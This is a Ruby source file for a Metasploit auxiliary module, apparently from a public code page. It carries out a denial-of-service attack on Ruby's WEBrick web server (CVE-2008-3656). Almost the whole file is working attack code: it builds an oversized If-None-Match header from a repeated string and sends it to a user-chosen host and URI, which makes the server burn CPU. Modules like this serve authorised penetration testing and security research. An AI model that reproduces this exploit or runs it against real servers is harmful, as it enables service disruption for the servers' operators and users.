51 lines
1.3 KiB
Ruby
51 lines
1.3 KiB
Ruby
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require 'msf/core'
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class Metasploit3 < Msf::Auxiliary
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include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Ruby WEBrick::HTTP::DefaultFileHandler DoS',
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'Description' => %q{
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The WEBrick::HTTP::DefaultFileHandler in WEBrick in
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Ruby 1.8.5 and earlier, 1.8.6 to 1.8.6-p286, 1.8.7
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to 1.8.7-p71, and 1.9 to r18423 allows for a DoS
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(CPU consumption) via a crafted HTTP request.
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},
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'Author' => 'Kris Katterjohn <katterjohn@gmail.com>',
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'License' => MSF_LICENSE,
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'Version' => '1',
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'References' => [
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[ 'BID', '30644'],
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[ 'CVE', '2008-3656'],
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[ 'URL', 'http://www.ruby-lang.org/en/news/2008/08/08/multiple-vulnerabilities-in-ruby/']
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],
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'DisclosureDate' => 'Aug 08 2008'))
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register_options([
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OptString.new('URI', [ true, 'URI to request', '/' ])
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])
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end
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def run
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begin
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o = {
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'uri' => datastore['URI'] || '/',
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'headers' => {
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'If-None-Match' => %q{foo=""} + %q{bar="baz" } * 100
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}
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}
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c = connect(o)
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c.send_request(c.request_raw(o))
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print_status("Request sent to #{rhost}:#{rport}")
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rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
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print_status("Couldn't connect to #{rhost}:#{rport}")
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rescue ::Timeout::Error, ::Errno::EPIPE
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end
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end
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end
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